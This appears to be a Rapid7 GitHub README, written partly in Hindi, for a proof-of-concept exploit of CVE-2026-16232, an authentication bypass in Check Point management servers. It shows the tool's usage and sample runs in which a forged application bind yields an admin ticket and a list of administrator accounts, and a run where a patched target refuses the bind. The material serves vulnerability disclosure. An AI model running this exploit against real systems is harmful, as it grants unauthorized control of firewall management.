sfewer-r7/cve-2026-16232A proof-of-concept script to exploit CVE-2026-16232, an authentication bypass via the SmartConsole login process using an application token.
CVE-2026-16232 का शोषण करने के लिए एक proof-of-concept स्क्रिप्ट, जो एप्लिकेशन टोकन का उपयोग करके SmartConsole लॉगिन प्रक्रिया के माध्यम से एक प्रमाणीकरण बाईपास है। यह Check Point Security Management Server और Multi-Domain Security Management Server (MDS) को प्रभावित करता है।
पूर्ण तकनीकी विश्लेषण के लिए, हमारा Rapid7 विश्लेषण देखें।
$ python3 CVE-2026-16232.py --help
usage: CVE-2026-16232.py [-h] --target TARGET [--fwm-port FWM_PORT] [--cpm-port CPM_PORT] [--timeout TIMEOUT]
Demonstrate CVE-2026-16232 by forging an application bind and redeeming a SmartConsole admin ticket.
options:
-h, --help show this help message and exit
--target TARGET management server hostname or IP
--fwm-port FWM_PORT SIC/CPMI port (default: 18190)
--cpm-port CPM_PORT CPM SOAP port (default: 19009)
--timeout TIMEOUT network timeout in seconds (default: 10)
किसी भेद्य लक्ष्य के विरुद्ध PoC चलाने पर प्रमाणीकरण बाईपास कार्य करता हुआ दिखाई देता है।
$ python3 CVE-2026-16232.py --target 192.168.86.15
===============================================================================================
Rapid7 Labs - Check Point authentication bypass via SmartConsole login process (CVE-2026-16232)
===============================================================================================
[+] Targeting: 192.168.86.15
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa
[+] Application bind succeeded
[+] Application token obtained: XYB8PbLoXXnMx4J7W43UK-BhrjWkolvihp0P98G2qDc
[+] getServerInfo
hostName: gw-5622ca
hostIpAddress: 192.168.86.15
osName: Linux
osVersion: 3.10.0-1160.15.2cpx86_64
[+] Application token GetAllAdmins count: 0
[+] SmartConsole application-token ticket redeemed: 31bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808
[+] GetAllAdmins count: 6
admin: UNIX_PASSWORD
Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
पैच किए गए लक्ष्य के विरुद्ध PoC चलाने पर दुर्भावनापूर्ण एप्लिकेशन बाइंड अनुरोध विफल होता हुआ दिखाई देता है।
$ python3 CVE-2026-16232.py --target 192.168.86.16
===============================================================================================
Rapid7 Labs - Check Point authentication bypass via SmartConsole login process (CVE-2026-16232)
===============================================================================================
[+] Targeting: 192.168.86.16
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
[-] Application bind failed. The target is likely patched and not vulnerable.